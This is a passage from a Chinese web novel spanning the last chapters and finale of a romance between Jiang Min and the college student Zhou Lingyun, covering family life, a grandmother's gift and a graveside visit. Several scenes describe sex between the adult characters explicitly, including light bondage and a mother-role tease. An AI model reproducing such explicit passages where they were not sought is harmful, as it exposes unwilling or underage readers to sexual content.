里头冲个差不多,吩咐,“去柜子里给我拿条浴巾,应该有干净的。” 姜悯絮絮叨叨,说待会儿叫个外卖送些日用过来,趁着下午太阳好,睡衣浴巾啥的洗了晾干晚上洗完澡就能穿…… 外头半天没动静,姜悯奇怪,走门边探头往外看。 周灵蕴蹲门口,手里攥着她小裤头,一动不动。 姜悯“pipi”两声,“想什么呢。” 浅浅吸气,周灵蕴抬头,朝她挤眼,“你猜。” 姜悯岂会看不出,她坏笑,“想跟我对口。” 如此直白,周灵蕴不好意思了,手捂住嘴把脸偏到一边笑。 可她忘了自己手里还攥着东西,颇感到纳闷的“嗯”一声,待垂目看清手中物件,又是一阵无法抑制的狂笑。 姜悯扶着门框,大半身体躲在门后,也笑得抽抽。 笑,是一种神奇的魔法。 周灵蕴好久没这么畅快大笑过了,她一面感到匪夷所思,一面又觉得合情合理。 姜悯身上没有那种讨人厌的大人架子,虽然她有时候说些话干些事,确实挺讨人厌,但周灵蕴在跟她日常相处中,并不曾感到年龄差距上的威压。 姜悯本质上是个有点神经质,不按常理出牌的可爱家伙。 所以她们可以像朋友一样相处,互相开对方的玩笑,说些不着边际的话,甚至搞黄。 姜悯确实曾深深伤害过她,她也真真切切恨过厌过。 但奇妙的是,正是这份激烈复杂的情感,如同丝线将她们的生命更为紧密缠绕在一起。 痛与快,怨与念;让她痛彻心扉,生不如死,也让她毫无负担放声大笑。 全世界,只有姜悯能给。 下午,姜爸应周灵蕴要求,在庭院的桃子树和樱花树之间拴了一根粗粗的晾衣绳,周灵蕴把洗好的睡衣和浴巾挂出去。 她捞起姜悯睡裙的一片裙角,凑到鼻端,姜悯趴在二楼窗户边看她,“欸”一声。 周灵蕴抬头,手搭凉棚遮挡太阳光,“叫我干嘛。” “你这个人是不是有什么奇怪的癖好。”姜悯手里拿个苹果,边啃边笑,“人家睡裙你也要闻。” “你才有奇怪的癖好吧。”周灵蕴哼声回呛,“喂人家吃一些乱七八糟的东西。” “那是乱七八糟的东西吗?”姜悯伸出一根手指,左右晃,“NO,宝宝,甘旨肥浓,水陆之珍,不是谁都有福气可以吃到的好吧。” “装货。”周灵蕴转身。 “你以为就你会拽文?”姜悯说你才装货。 谷香岚女士正捏把小铲,院里锄草,“你们吃什么好吃的呢,也不拿出来分享分享,长大学会吃独食了。” “没——”周灵蕴借口衣服还没洗完,两三步跑没影。 姜悯笑喷,“年纪大了,还是稍微忌下口。” 谷香岚何许人也,此话一出她立即领悟,恶狠狠瞪了眼姜悯。 “谁让你乱接话,真是!”姜悯大叫。 谷香岚拿小铲子隔空指她。 周灵蕴上楼,把揣在裤兜里的小布头摸出来,水龙头底下洗。 姜悯跑到她身后,背着手,脑袋使劲往前伸,“怎么洗之前不先闻下。” 镜子里的周灵蕴本是老老实实面无表情洗裤头,年轻禁不住逗,脸一下红了。 “从冷脸变热脸了。”姜悯不放过任何一个可以捉弄她的机会。 周灵蕴默默忍耐着,小布头洗完拧干水,晾在卫生间窗户边的架子上。 姜悯在周灵蕴转身之际,抓起她湿润的手掌隔着衣服贴在自己心口,手指的力量带动,回馈她同样的脸红。 周灵蕴后来把姜悯抱洗手台上坐着,撩起她裙子开始吃。 姜悯一条腿踩在洗手台边缘,一腿悬空,打得很开,她手摸到周灵蕴脑后的马尾辫,手指抓住发尾缠绕几圈,另一手托住她后脑用力按向自己,听见周灵蕴“呜”一声,还没怎么就咬着嘴唇开始抖。 周灵蕴手背擦了下鼻尖的水,抬起头,红着眼睛往下看,没费什么劲手滑进去。她直起身凑到姜悯耳边,问她“怎么这么快”。 “嗯?” “这次怎么这么快。” 姜悯使尽浑身解数,求周灵蕴留下来,周灵蕴无动于衷,每天吃完饭就走,片刻不多留。 眼下,姜悯手按在周灵蕴肩膀,使劲把她往外推,周灵蕴一动不动,甚至进得更深。 可这似乎只是个开始。 周灵蕴把软成一摊烂泥的姜悯从洗手台抱到外面房间床上休息,准备下楼帮大人一起弄饭之前,贴着姜悯耳朵根说“等着”。 “给我等着,晚上等着。” 余波未尽,姜悯闭着眼睛躺在那,躺在四五点暖融融毛乎乎的太阳光里,疲惫而满足睡去。 周灵蕴后来上楼叫她吃饭,打开门瞧见她睡着,嘴里的话咽回去,走过去坐到她身边,低头静静看她一阵,抓起她软绵绵搭在腮边的手,亲了一下。 放回去两秒,又抓起,掰开手指,亲吻过掌心。 姜悯醒来,艰难掀开半拉眼皮,嘴里嘀咕了句什么。 “嗯?”周灵蕴没听清,弯腰耳朵凑过去。 “别走好吗——” 朦胧呓语,湿润心田。 周灵蕴想起在厨房蹲垃圾桶边给大蒜扒皮的时候,谷香岚走过来,摸了下她脑袋,叫她“猫猫”。 谷香岚说,无论你跟姜悯的关系将来是何种走向,你都永远是这个家的一员。 “你随时可以回来,你不想和黏黏一起,也可以拥有自己的房间和床,我们永远欢迎,这个家永远有你的一席之地。” 周灵蕴回头,看到奶奶坐在客厅沙发,姜爸正教她用新电视的遥控器,她说想听黄梅戏。 “好饿——”姜悯绷直手脚伸了个懒腰,打着哈欠问晚上都做了什么菜呀,“好累,一不小心就睡着了。” 周灵蕴摸摸她的头发,“土豆烧排骨,农家小炒肉,凉拌鸡丝,拍黄瓜,还有个三鲜汤。” 姜悯掰着手指头数,问够吃吗? 周灵蕴歪头想了下,“不够我们晚上可以偷溜出去吃烧烤,我想吃烧烤了。” 姜悯哇哇大叫着,两条手臂缠上周灵蕴的脖子,“看来我的愿望成真了!” 她像只猴子吊在周灵蕴后背晃来晃去,“你刚说了‘我们’,不是我,也不是你,而是‘我们’,那你今晚不走了哦?” 周灵蕴忽然觉得有点难过。 她侧过身体,捧起姜悯睡得软软热热的脸,指腹细细摩挲着。 “你很舍不得我吗?” 夕阳像蜂蜜淌满了整个房间,空气里有不知从何而来的彩色条纹泡泡糖味道,姜悯的脸上还有几条睡觉睡出来的红印子,她的眼睛格外的湿和亮,她用力点头。 “我舍不得。” 周灵蕴心里什么东西“嘁哩喀喳”垮掉的声音,然后开始融化,像冰淇淋顺着手指流到手腕又滴在裤腿。 “我饿了。”周灵蕴的回复好像有点不着边际。 姜悯利索爬起,“那我们赶紧下楼吃饭。” “我还要吃甜点。”周灵蕴坐在床边,仰脸看着姜悯,不动。 “那我现在就买。”姜悯去抓手机,“吃完饭外卖就能到。” “哎呀不是了!”周灵蕴怀疑这人装的。 装挺像还。 “那是什么?”姜悯眨眼,眼底真实的迷糊。 “就是……”周灵蕴实在很不好意思,她手掩唇,嗫嚅着,“对口。” “哦——”姜悯意味深长笑了,她回头飞快望了眼房间门,“那是大口还是小口。” “都口。”周灵蕴答—— 作者有话说:咕咕的小破文啊,又快完结啦—— 第117章 大白天发什么骚 老太太的检查报告出来了, 血压、血脂和心脏都有些问题,好在不算危急,这个年纪嘛都是保守治疗为主, 医生叮嘱平时要多走动,饮食清淡, 好好将养着。 “是嘞是嘞, 烟酒我从来不沾!”老太太冲医生使劲摆手,絮絮重复。 “好多人都是抽烟抽死, 喝酒喝死的嘛,我可不沾……” 周灵蕴忍不住笑,“医生没提烟酒的事呀。” “那烟酒能沾吗?要得肺癌肝癌!”老太太突然激动起来,声音拔高, “又费钱又索命,你以为是什么好东西!” “确实。”周灵蕴慢悠悠接话,眼神往姜悯那边飘,“有些人私底下烟酒都来的,又费钱又索命, 她还以为是什么好东西呢。” 医生低头写病历:“那我给您开点药——” 老太太还沉浸在对烟酒的愤慨里, 掰着手指说村里谁谁谁就是喝酒喝没的。 “一天一瓶苞谷酒, 当水喝!哼, 他不死谁死……” 周灵蕴发现了。 人上了年纪话就会变多,还容易陷在自己的逻辑里出不来。她几次张嘴,都不知道该怎么把奶奶从这烟酒的死循环里拽出来。 这可是她亲奶奶啊。 插不上话, 她有点无措,一个劲儿挠头。 “你让让。”姜悯说着,胳膊肘捅,把周灵蕴拱到一边, 上前搀着老太太手臂,顺势将人往诊室外带。 “奶奶生活习惯很好的,检查报告写得清清楚楚明明白白,白纸黑字骗不了人。咱们继续保持,好好活,用力活,争取再活一个世纪。” 她也不管老太太絮叨什么,只管捧,顺着哄着,好话一箩筐一箩筐往外倒,直把老太太逗得眉开眼笑,边走还边回头教周灵蕴怎么缴费,上哪儿拿药…… 到车库,姜悯把老太太搀后座,老太太坐稳,歪起屁股,窸窸窣窣摸,半天,衣服内兜掏出个巴掌大的蓝布包,硬往姜悯手里塞。 主驾位,姜悯扭头,“这是什么呀?” “给你的,回去看。”老太太又把小布包抢过来,往她外套口袋里塞。 周灵蕴坐在副驾驶,怀里抱着一大堆刚取的药,好奇扭身,“什么东西啊?神神秘秘的。” “别让她看见。”老太太冲姜悯挤眼,压低嗓,“回去自己看。” “不是——”周灵蕴给气笑了。 “什么就不让我看见?不想让我看,您也稍微背着点我啊,我还坐在这儿呢!” 姜悯笑笑,把蓝布包从外套口袋转移到手提袋,“行,我回去自己看,不给她看。” 她摸着里面厚厚一沓,猜想八成是老人的手写信。 “嗯嗯,”老太太放心靠回座椅,临了还不忘嘱咐,“反正别让周灵蕴看见。” “不让看拉倒,不稀罕!”周灵蕴吼完,赌气把怀里的药一股脑扔后座,“你自己拿着吧。” 到家,上楼,房门一关,周灵蕴满脸贼相凑过去,“什么什么,快给我看看……” 姜悯捂嘴笑个不停,“不是不稀罕。” “我哄她的,哄她。”周灵蕴好奇死了,催促不停。 姜悯坐梳妆台边,手提包搁大腿上。蓝布包里面还有个老太太自己手缝的白布包,打开暗扣扒开里层防水用的塑料袋,深处藏那东西却大大出乎她们意料。 粉的,一张张摞着,对折,胶皮筋捆着。 周灵蕴惊呆了,使劲揉眼睛,“这是活人钱死人钱?你看看是不是天地银行……” 姜悯朝她后背就是一巴掌,“你猪脑子啊。” 她抽出一张,举高迎着亮,前后翻转,“确实是真钱。”然后开始点。 周灵蕴蹲地上,两手搁在姜悯大腿,不出声乖乖等她点完,“多少?” “一万三。”姜悯说。 周灵蕴倒吸一口凉气,“老太太哪儿来那么多钱?” 姜悯后来找她妈打听过,其中有一部分是周灵蕴刚离家那会儿卖猪的钱,另一部分是村里发的补贴,再有就是老太太摆摊挣的。 老太太闲不住,自己绣的鞋垫啦,山上摘的野果,自制的野茶啦,赶集天背到集上卖,这几年下来,攒不少。 “全给你了?”谷香岚问。 姜悯点头。 谷香岚奇怪,“怎么不是给小猫?” 周灵蕴说“我也想问呢”。 谷香岚歪头琢磨会儿,笑着,“老太太喜欢你。” “哦,这样——”姜悯挑眉。 周灵蕴自己灰溜溜回了房间。 她抬个板凳,窗边坐着,看楼下摇椅上躺着晒太阳的奶奶,捡了片窗台上的落叶扔她,又自顾笑起来。 她怎么会不懂呢,奶奶是在用这种方式告诉她,她们早就是一家人了。 她们在老房子住了几天,开学前,姜悯出主意,让周灵蕴把赵圆、万玉、蛋挞和梦真,还有舒颖也叫过来。 一帮人热热闹闹吃了顿饭,姜悯给每个人都准备了一份小礼物,意思是感谢大家这段时间以来对她和周灵蕴的帮助,也是宣布跟周灵蕴正式和好。 吃完饭,朋友们一一送走,周灵蕴回到房间,两手插兜表情酷酷的,“我同意了吗?你就擅自宣布和好。” “你没同意吗?”姜悯怔住。 “没啊。”周灵蕴大声,“我啥时候同意了。” 姜悯回头去把房间门关上,锁住,然后反手揪住自己的后衣领,从上往下那么一拽,蛇一样缠上去,两条手臂挂在周灵蕴的脖子,左右那么晃,“那现在呢?” 姜悯胸型很漂亮,半球型,饱满圆润,色泽白皙,周灵蕴视线立即被吸引,双手有自己的意识,自然圈上她腰肢,随即是重复过了千百遍的动作,她弯腰埋首,张嘴去啃。 仰天,一声喟叹,姜悯半眯着眼,手摸到周灵蕴毛茸茸的后脑勺,被咬痛,狠着劲儿抓了把她的头发,“属狗的?” “属猫。”来不及拉窗帘,周灵蕴环住姜悯滚到大床上,伸手把灯关了。 是属猫,牙尖得很,叼住就不松口,姜悯抬腿踹了她一脚,“不是不和好?” 周灵蕴反应快,一把攥住她脚踝,扛在肩膀,小腿肚子亲一口,“那你还不好好表现。” “怎么表现。”姜悯有点发抖,双手高举过头顶,“捆起来。” 周灵蕴开学第一天,小组的试验田扛着锄头翻地的时候,满脑子想的都是姜悯。 没找着绳子,姜悯的衣柜里翻出一条黑色中古真丝领带,周灵蕴第一次玩,高处俯瞰,整块头皮都爽得发麻。 某人平日里横行霸道,作威作福,绳子一捆立马老实了,只有挣着喊着求饶的份。 “九月种什么,种大蒜还是种萝卜?”同组的女生走过来,在她耳边说话。 周灵蕴吓了一跳! 女生“哈哈”笑,拍她肩膀,“你想什么呢浑身一激灵。” “别吓,你把我月经都吓出来了。”周灵蕴扔掉锄头,“我去趟卫生间。” 到卫生间一看,月经没来,周灵蕴洗完手出来,裤腿胡乱擦擦水,掏手机给姜悯发消息。 [我湿了。] 姜悯抱着电脑从会议室出来,走廊上听见兜里手机“叮咚”一声,拿出来看,才刚解锁就掉地下。 小助理跑过来帮她捡,她顺势把怀里的电脑和文件塞过去,抓起手机飞也似逃进办公室。 [啊?] [啊?] [啊?] [我想你了。] 周灵蕴回。 缓了几秒,补充: [准确来说,是想到你了。] [老板大人,你好好看。] 没头没尾的几句,除姜悯外,还真没人能串得起来。 [大白天发什么骚。] 周灵蕴理了理额发,扶正头顶的草帽,往小组的试验田走,也觉得自己有点沾染上姜悯的神经质。 [就是想你了呀。] 讨厌鬼。 因着老太太身体原因,谷香岚女士寻思着还是搬回住城里。 城里医疗条件好,交通也便利。 还有就是为了姜悯和周灵蕴。她让姜悯和周灵蕴也搬过来一起住,这样两人之间要再有什么鸡毛蒜皮,她们帮着从中调和,哄着劝着,也不至于让事情闹大。 姜悯和周灵蕴的关系,谷香岚和老太太从来门清,老登古板,内心虽不赞同,但并不体现在行动上,也是睁一只眼闭一只眼。 姜悯拜托妈妈有空打探打探老登口风,老登领会,当时没说什么,某天饭桌上,突然没头没尾说了句“也行。” “爸爸,我给你倒酒。”姜悯多机灵,赶紧搁了筷子上前伺候。 “你跟周灵蕴最近没吵架了吧?”她爸板着脸挺严肃的样子。 周灵蕴在学校,周五下午才回来,姜悯说没呀,“我们好着呢。” “你这个人,脾气怪得很,上学上班这么多年,一个朋友没交到,也算是一种本领。你看看人家小蕴呢,小时候的朋友现在还有联系,你们两个在一起那么久,她很不容易啊!忍受你很多的!” 老登最多只能说到这份上了,极限了。 姜悯点头哈腰,“您教训得是。” 回头,给周灵蕴打电话,原封不动转述。 “小同志很不容易的,啊,忍受我很多啦……欸你没看到他当时表情,爹味儿冲得很。” “他可不就是你爹。”周灵蕴围着操场一圈圈跑步,声音带点喘。 姜悯靠在床头,敛目沉思片刻,“有个小小的要求,虽然提出,但并不强制要求满足。” 这人什么时候变得这么客气了,周灵蕴放缓速度,拧开瓶盖喝水,“有屁就放。” “我们在床上的时候,你可不可以也这样喘给我听呢。”姜悯装模作样,好言好语,有商有量。 周灵蕴一口水噗地喷出来。 哪来的装货!—— 作者有话说:咕来啦!! 第118章 原来麻逼是这个意思 周灵蕴过完十九岁生日的次年秋天, 也就是她二十岁生日的前两个月,姜悯有天突然发现她瘦了很多。 那是个寻常的初秋傍晚。 夕阳将沉未沉,姜悯懒洋洋倚靠在二楼房间窗台, 啃一根冻得梆硬,她妈自制的可以拿出去当挡路石的绿豆冰棍, 看楼下周灵蕴被草丛里蹿出来的一条四脚蛇吓得原地起飞…… 新的发现, 就在周灵蕴腾空的一瞬间。 光从一侧打来,浓烈的几道阴影降落, 周灵蕴惊恐之下,本能抬头,姜悯看到她的脸。 像泥塑大师手下的人物模型,手起刀落间神奇减褪去婴儿肥, 一眨眼,就从一个喜欢嘟嘴皱眉鼓腮的小女孩,变成了一个看起来有点难搞的先锋毒舌女青年。 “你很悠闲嘛——”周灵蕴现在的脾气很能对得上她的脸。 姜悯愣愣眨眼。 “装什么,还不下来帮着一起干活。”周灵蕴一面嘀咕着“吓死我了”,一面扭头跟谷香岚蛐蛐, 说“这女的真懒”。 姜悯咬了口冰棍, 笑。 周灵蕴手里攥一把除草的小铲, 跑窗下, 仰着头,“别装傻。” “再有几个月你就二十岁了哦。”姜悯不为所动,沉浸在自己的世界里。 “那再过几个月, 你也三十岁了。”周灵蕴说。 姜悯点头,“所以,你年轻力壮,应该多干些活。” “你年老色衰, 还不好好保养?生命在于运动啊……”周灵蕴话没讲完,看见姜悯噘起嘴巴要朝窗下吐口水,呜哇大叫着跑开了。 快三十岁的姜悯发现自己确实跟以前不一样了,她居然没生气,而是继续安静趴在窗台啃冰棍。 说是绿豆冰棍,其实就是用吃不完的隔夜稀饭冻的,敷衍得,白砂糖都没放,但姜悯依旧啃得有滋有味。 最近这一两年,姜悯发现自己心态变得平和许多,具体表现在开车的时候不爱骂脏话了。 虽然骨子里还是调皮的,但跟现在的周灵蕴比起来,差远了。 姜悯想起今天上午,她开车去学校接周灵蕴回家,校外车道,一个岔路口几个男学生突然追打着冲到马路上,她猛一脚刹车,还没来得及生气,周灵蕴就把脑袋伸到车窗外面去了。 ——“*@#¥%*¥” ——“$##@^&*^&%$#&***%” (此处省略若干) 总之,骂得很脏。 “欸消消气,没事,我看着的,我开车还是蛮谨慎的。”姜悯赶紧给周灵蕴递水,快快驾车远离是非之地。 “一群王八蛋,活够了,要死死远点啊,真是晦气。”周灵蕴余怒未平,嘀嘀咕咕骂一路。 姜悯有些好笑。 饭桌上,她半开玩笑把这事一说,大家都挺意外的。 谁还记得周灵蕴刚到家时候的样子啊? “凶得很,现在。”姜悯说。 “确实跟以前不一样了。”谷香岚给周灵蕴夹菜,又腾出手,拍背安抚,“不气不气哈,虽然这事确实挺让人生气的。” 老登倒觉得还好,“就是要凶一点,才不会给人欺负。再说,谁遇到这种事情,可以忍住不发脾气?” 姜悯举手,“我。” 周灵蕴把她台词都说了,她完全没有发挥的空间。 老太太慢吞吞吃完一整块梅菜扣肉,手帕抹抹嘴巴,“像我年轻时候。” 后来,经众人分析,周灵蕴之所以变成现在这样,部分是遗传,部分是姜悯的锅。 “猫猫就是黏黏的过去式。”谷香岚总结。 老登又说不一样,“姜黏黏那个时候脾气还要怪,小蕴我倒没看出什么问题,她的反应不都很正常,很合理?” 姜悯听了半天,“你们就针对我呗。” 周灵蕴咬着筷子笑。 身后有开关门的动静,思绪被迫中止,姜悯转身,“回来了。” “好热,我冲个凉。”周灵蕴转头进了卫生间。 姜悯吃完最后一口,木棍丢进垃圾桶,听见周灵蕴在卫生间喊,让给她拿睡衣。 “睡裙还是居家服?”姜悯大声问。 “居家服。”周灵蕴说。 她们从去年夏天就一直住在老房子这儿,周灵蕴上学倒是近了,有时下午没课会自己搭地铁跑回来吃晚饭,第二天早八开始前赶回去。 姜悯上班麻烦些,多出二十分钟通勤,但她并没有因此改变作息,只是把每周一上午的晨会往后挪了半小时。死富二代,为所欲为。 她们把大部分的行李都搬过来了,猫二也带过来。 搬家那天,姜悯问周灵蕴有没有舍不得,周灵蕴站在小区楼下,抬头数了下她们的楼层,低头望向身边的姜悯,摇头。 “你不就在我身边。”周灵蕴指了下背后的猫包,“我们的孩子也在。” 姜悯手撑在周灵蕴肩膀笑,“那谁是大妈谁是小妈。” 周灵蕴当时回答,“那肯定你是小妈。” “嗯?”姜悯费解,“小猫和猫二都是我带回家的,我凭什么是小妈。” 周灵蕴说没错,小猫和猫二都是她跟姜悯的孩子,但她跟小猫和猫二要各论各的。 “我妈不要我了,你把我带回来,你就是我妈,但因为你很年轻,所以你是小妈。” 姜悯稍花费一点时间理顺逻辑,觉得她说得也不是完全没有道理,接受了。 然后周灵蕴忽然凑到她耳朵边说话,说妈妈我要吃neinei…… 想到这里,姜悯忍不住笑了。 真是女大十八变啊。 姜悯把居家服送到卫生间门口,里头周灵蕴的一只手伸出来,她刚要把衣服递过去,那只手却一把攥住她手腕,将她拽入门内。 室内水汽氤氲,视物不便,姜悯稀里糊涂被拖到淋浴头下,肩胛骨抵靠在冰凉的瓷砖墙。 她表情呆呆的,“你干嘛呀。” 周灵蕴靠得很近,双手把控着姜悯腰肢,流水中亲吻她,“我想你了。” 姜悯有点没反应过来,“我不是在呢。” “我知道。”不过两三秒,周灵蕴嗓音变得喑哑。 她手指拨开姜悯肩头被水淋湿的黑发,滚烫的吻落在她脆弱的颈,随后是唇。刚吃过冰棍的姜悯的唇冰冰凉,像果冻,周灵蕴有些着迷那感觉,专注去吻,直到嘴唇温度一致。 新学期课程增多,周灵蕴过去的几天都没找到机会回来吃饭,自然也没能见到姜悯,她计划是中午吃完饭就把姜悯拖上床,结果饭后被叫去院里除草,直到现在才有空。 “我想你想得快疯了。”周灵蕴说。 居家服被水淋湿,贴在皮肤上不太好脱,姜悯想帮忙的,可周灵蕴的嘴弄得她浑身无力,连手都抬不起,居家服的长裤还悬在大腿,她很没出息到了。 “怎么这么快?嗯?”周灵蕴慢条斯理把人扒光,抱在洗手台上坐,圈住她,问。 “再来。”姜悯只好说。 “当然。”周灵蕴不需要她提醒,“我要你回答我刚才的问题。” 每次都这样,成心戏耍她。 姜悯的应对之策是自己把手伸进去。她知道周灵蕴最受不了她这样,她弄不了几下就会被捏住手腕制止。 然后周灵蕴会告诉她——“不许,这是我的。” 很霸道,还很幼稚。 但实话讲,姜悯蛮受用的。她就吃这套。 事后,姜悯打电话跟舒颖抱怨,“什么三十如狼四十如虎,我跟你讲,在二十岁的小年轻面前,算个屁。哎呦我这一天天的,人都麻了。” 舒颖这人说话一直挺脏,“原来麻逼是这个意思。” 姜悯在床上笑到打滚。 周灵蕴端来饭后水果,一脸纳闷,“你笑什么呢。” 姜悯开的免提,舒颖听到,在电话里超级大声,“有人点她麻穴了!” 姜悯笑出鹅叫。 周灵蕴后来搞清原委,说“怪不得你俩能成为朋友”。 姜悯为自己辩解,“我还是略逊一筹。” 周灵蕴坐到床边,用牙签给姜悯喂水果,姜悯想起什么,翻身下床,拉着周灵蕴走到体重秤面前,“我看你是不是瘦了。” 周灵蕴顺从踩上去,跟上周差不多,浮动在两公斤以内,没胖也没瘦。 姜悯奇怪,摸着下巴端详,“可我真的觉得你瘦了,婴儿肥都没有了。” 周灵蕴从体重秤上下来,看着姜悯,轻轻地笑了,“你也说,我再有几个月就二十岁了。” 是啊,时间真快啊,一转眼,周灵蕴竟然就要二十岁了。 姜悯想起自己的二十岁,好遥远,感觉已经是上辈子的事了。 晚上她们手拉手出去散步,这个小区在二十几年绝对称得上高端,但现在很旧了,学区位置也不好,业主群体大多是中老年人,聚集在小区门口的业主会所,唱跑马溜溜的山上,一朵溜溜的云哟…… 这歌周灵蕴小时候听奶奶唱过,她自然哼唱出下一句。 “端端溜溜的照在,康定溜溜的城哟。” 她们坐在业主会所对面的长椅,姜悯把头靠在周灵蕴的肩膀,指着旁边一排银杏树,说你等着吧,“再过半个月,银杏果成熟,掉满地,臭出三条街!” 姜悯说她小时候每年到了那个季节,放学回来都得躲着走,“银杏果真的非常非常臭!” 周灵蕴捏着姜悯的手腕,好玩一下一下打在大腿,“你小时候是什么样子的呢?” 姜悯歪头,思索片刻,“你是指在那个人死之前还是死之后。” 周灵蕴没有继续问下去。 不重要了。 今天,明天,往后的每一天,她都会陪伴在她身边,无条件接纳她所有喜怒哀乐。 一遍又一遍,她们会并肩一起走过她来时的那条路,从小区大门到家那条路,用快乐的记忆覆盖掉悲伤的记忆,然后再一起迈向只属于她们的美好未来—— 作者有话说:咕来啦魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 第119章【完结章】 第119章 完结章 周灵蕴二十岁生日的前一天, 很巧是个没课的周六,她周五晚上自己搭地铁回家,进小区大门, 刚走没几步,果然闻到银杏果铺天盖地的酸臭气。 她捏住鼻子马上就要跑, 一抬眼, 瞧见几个老年人弯腰猫在草丛,搜搜捡捡像在寻宝, 禁不住好奇,忍着臭气挨过去。 一个头发烫细卷卷,胖胖长得像麦兜妈妈的阿姨告诉她,银杏树的果实可以用来煲汤, 营养价值非常高,尤其对心血管特别好。 “但要控制好量,一次放个七八颗,十来颗差不多,这玩意儿有毒, 吃多要死。” 能吃, 但有毒, 不能多吃。嗯。 有什么是中国人不吃的呢? 一听对心血管好, 周灵蕴哪还管什么臭不臭的,撸起袖子,加入捡白果大军。 好心的胖阿姨给了她一个塑料袋, 她捡了满满一兜,蹲在路边把果子外面那层黄肉剥了,蹦蹦跳跳拎回家去。 途中经过黎双家,她停下脚步, 铁门前往里看。 这个片区每家房子都是独栋两到三层的小别墅,家家户户门前都种得有栀子和桂花,还有美人蕉,造景虽比不上现在的多样,但很有一种朴实的年代感。 周灵蕴隔着铁门,看见院里趴了只表情丧丧的柴犬,她冲它“pipi”两声,它冲她翻了白眼并把头扭到一边。 周灵蕴笑了。 想起上个周天,她和姜悯散步经过这里,姜悯也是这样冲着狗“pipi”。 当然她还笑话,说“狗都不理”! 姜悯转过脸,盯她一阵,然后告诉她,这就是黎双以前住的房子。 周灵蕴当时有点生气。 为什么又提到那个人。 姜悯察觉,立马认怂,说“对不起”,然后拉着她快快走开。 周灵蕴闻到自己手上隐隐约约散发出的银杏果酸臭气,鬼使神差,把手伸进铁门。 小狗立即起身朝她跑来,长长的嘴筒子拱进她手心,软黏的大舌头一阵乱舔。 “啊啊!”周灵蕴飞快弹起,跳开,她一面往家方向跑,一面大喊着,“你果然是吃屎的!” 周灵蕴回到家,把银杏果交给春梅阿姨,然后发现自己的手不管怎么洗都隐隐有股臭,皮肤表面像覆了层膜,涩涩的很不舒服。 “今天晚上你不许碰我。”姜悯指着她,严肃警告。 “戴指套也不行吗?”周灵蕴后悔极了。 “不行。”姜悯板着脸。 上楼回房,姜悯大发雷霆,倒不是生气周灵蕴在路边乱捡果子,而是气周灵蕴做事不周,害得她今晚没法享受。 “本来我们一个星期就只能见这两三天,我从周一盼到周五,你倒好,你上农学院,你能不知道那玩意有毒?我看你就是成心的。” 姜悯双手叉腰,在房间走来走去,简直是怒发冲冠了。 “腻了吧,啊?就腻了,故意的,故意那么做,逃避本分,是吧,啊?啊?” 周灵蕴耷拉着脑袋坐在床边,闷闷搓了会儿手指,“我今天又路过黎双姐姐家了。” 姜悯奇迹平复下来。 她扒拉了下额前的碎头发,走过去把窗户打开,使夜风灌入,稍散去面颊浮热,“那不是她家,她家房子早卖了。” “我们明天去看看她吧。”周灵蕴说。 黎双这个名字,一直是周灵蕴和姜悯之间的禁忌话题。 这当然要怪姜悯,怪她头几年干下的那些混账事。像一片阴云,始终笼罩在周灵蕴头顶,让她一起背负沉重的负罪感。 但就在刚才,周灵蕴忽然觉得,或许该试着解开了。 姜悯沉默片刻,看了眼周灵蕴,神色复杂。 “我说真的。”周灵蕴强调态度,这次不是找茬。 “也好。” 姜悯最终点头。 第二天一大早,天空是那种雨后初霁的澄澈湛蓝,二人驱车前往郊外墓园。 墓园很安静,只有风吹过松柏的沙沙声,周灵蕴跟随姜悯,来到黎双的墓碑前。 墓碑上镶嵌的照片,是女生入学时用到的白底一寸照,梳单马尾,穿蓝白夏季校服,虽然学习很好,但其实非常讨厌上学,所以脸很臭,看起来拽拽的。 周灵蕴弯腰凑近,歪头,想象女生当时对着摄像师很不耐烦但依旧保持礼貌,细声细气说“请不要再为难我”时的样子。 “她不爱笑,常常锁着眉,如果谁要求说笑笑吧,她就会说‘不要再为难我了谢谢’,礼貌而生疏。” 姜悯撕开一包湿巾,擦干净照片上的灰。 周灵蕴从家拿了盆自己种的仙人球摆在墓碑前。仙人球拳头大,圆滚滚,头顶一圈柔嫩的黄刺,翠绿可爱。 她想过带鲜花,但觉得仙人球更合适。 仙人掌科植物生命力顽强,维护低,放在露天坝只靠自然雨水浇灌也可以活很久。 接着,她又掏出个保鲜盒,里面是春梅阿姨做的卤鸡爪,酱色浓郁,虽有点凉了,但香味依旧诱人。 “来,黎双姐姐,请你吃鸡爪。” 周灵蕴拉着姜悯蹲在墓碑前的大理石阶,一面啃鸡爪一面对着墓碑说话,尽都是姜悯的坏话,说姜悯过去几年如何如何苛待自己…… 姜悯挥舞着拳头“喂喂”打断,“难道我就没有一点优点吗?” 阳光透过松柏的缝隙洒下斑驳光点,落在墓碑上,落在仙人球上,也落在她们身上。 没有沉重的悼念,没有刻骨的悲伤,只有两个年轻人蹲在一个早逝女孩的墓碑前,分享一盒有点冷掉的卤鸡爪,零零碎碎说些以前的事。 过去,那些曾横亘在她们之间的种种隔阂芥蒂,此刻,在这略带荒诞却又无比真挚的氛围里,悄然融化了一些。 姜悯侧头看向周灵蕴被阳光勾勒出柔和光边的侧脸,低头笑了下。 离开墓园,驾车驶上返回市区的高速,那段遥远而模糊的记忆,毫无预兆撞进脑海。 车窗外风景飞速倒退,绿意盎然的郊野逐渐被城市的冷灰色轮廓取代,就在某个恍惚的瞬间,眼前似乎闪过一片蒙蒙雨雾…… 那是茶厂建设初期,大概八九年前,一个沉闷的午后,姜悯刚从尘土飞扬的工地出来,开车准备返回住处的路上。 天昏黄,车没走多远,淅淅沥沥下起雨,就在工地附近一个鲜有人迹的路口,姜悯看见个小孩。 小孩穿一件旧旧的,有点发粉的红雨衣,戴破檐草帽,蹲在路边,大声吆喝着卖糖炒栗子。 她身边放一个大竹篮,上面盖着厚厚的棉布用以保温,缩在那,像颗被雨水打湿的倔强的小蘑菇。 姜悯觉得有趣,无所觉,车速放缓。 那小孩眼尖,噌一下站起来,挎着篮子跑到车前。 草帽下一张圆圆的脸,被不知是汗还是雨打湿的几缕黑发贴在额前,孩子的一双眼极黑、极亮,满满机灵劲儿。 “姐姐,买炒栗子吗?” 快速扶一下草帽,她小手扒在车窗,声音清脆,带着点急切,“栗子野生的,我跟奶奶到上山捡的,砍刀开口嘛用红糖炒,可香,奶奶炒的。” 她怕她不信,为表示诚意,小手飞快掀开棉布一角,里头摸出一颗油光锃亮的大栗子,“给你,免费尝一个。” …… 那是她们真正的不为人知的第一次相遇。 始于一颗免费的,带着股湿漉温热气的,甜甜的炒栗子。 